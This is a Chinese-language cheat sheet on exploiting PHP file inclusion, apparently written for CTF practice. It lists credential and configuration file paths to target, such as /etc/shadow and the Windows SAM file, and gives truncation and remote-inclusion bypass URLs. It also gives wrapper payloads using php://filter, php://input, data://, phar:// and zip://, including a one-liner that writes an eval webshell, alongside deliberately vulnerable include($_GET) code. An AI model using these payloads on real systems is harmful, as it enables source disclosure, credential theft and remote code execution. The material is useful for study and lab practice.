文件包含
常见的敏感信息路径
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
绕过
本地包含绕过
1、%00截断
条件:magic_quotes_gpc=Off php版本<5.3.4
#payload
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
2、路径长度截断
条件:windows os,点好需要长于256;linux os 长于4096
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
远程包含绕过
问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
%20空格绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
php伪协议
概念
1、PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
file://-访问本地文件系统
http://-访问HTTP(s)网址
ftp://-访问FTPURLs
php://-访问各个输入\输出流
zlib://-压缩流
data://-数据
glob://查找匹配的文件路径模式
phar://-php归档
ssh2:// -secure shell2
rar://-rar
ogg://-音频流
expect://处理交互式的流
php://输入输出流
1、PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
php://filter(本地磁盘文件进行读取)
1、元封装器,涉及用于数据流打开是的筛选过滤应用,对本地磁盘文件进行读写
?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php
<?php $filename = $_GET['filename']; include($filename); ?>
php://input
1、可以访问请求的原始数据的只读流。既可以直接读取到POST上没有经过经过解析的原始数据。enctype=“multipart/form-data”的时候php://input是无效的。
2、用法:?file=php://input数据利用post传过去。
php://input
碰到file_get_contents()就要想到php://input绕过,因为php伪协议也是可以利用http协议,即可以使用Post方式传数据
<?php
echo file_get_contents("php://input");
//file_get_contents — 将整个文件读入一个字符串
?>
php:input写入(木马)
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
fputs:fwrite的别名
fwrite:用于写入数据
fopen:打开文件
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');
?>
php://input(命令执行)
<?php
$filename = $_GET['filename'];
include($filename);
?>
条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;
file://伪协议(读取文件内容)
通过file协议可以访问本地文件系统,读取到文件的内容
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
data://伪协议
1、数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
条件:allow_url_include=On(Php<5.3.0)
data://伪协议 数据流封装器
利用了流的概念,和php://input类似,同样可以造成代码执行
?file=data:text/plain,<?php phpinfo()?> ?file=data://text/plain;base64,执行代码base64加密后
phar://伪协议
这个参数就是php解压缩包的一个函数,不管后缀是什么,都会被当做压缩包来解压
首先先准备一句话木马,然后把压缩,在修改成.jpg,然后利用phcar解析
?file=phar://压缩包/内部文件 phar://shell.jpg/shell.php
他会把.jpg解压成.php正常解压需要知道解压后的文件名字
zip://伪协议
zip伪协议和phar协议类似,但是用法不一样
用法:
?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]zip://xxx.png#shell.php
条件:php>=5.3.0,注意windows下测试要5.3.0<php<5.4才可以 #在浏览器里要编码为%23
格式:zip://压缩包#压缩包子文件名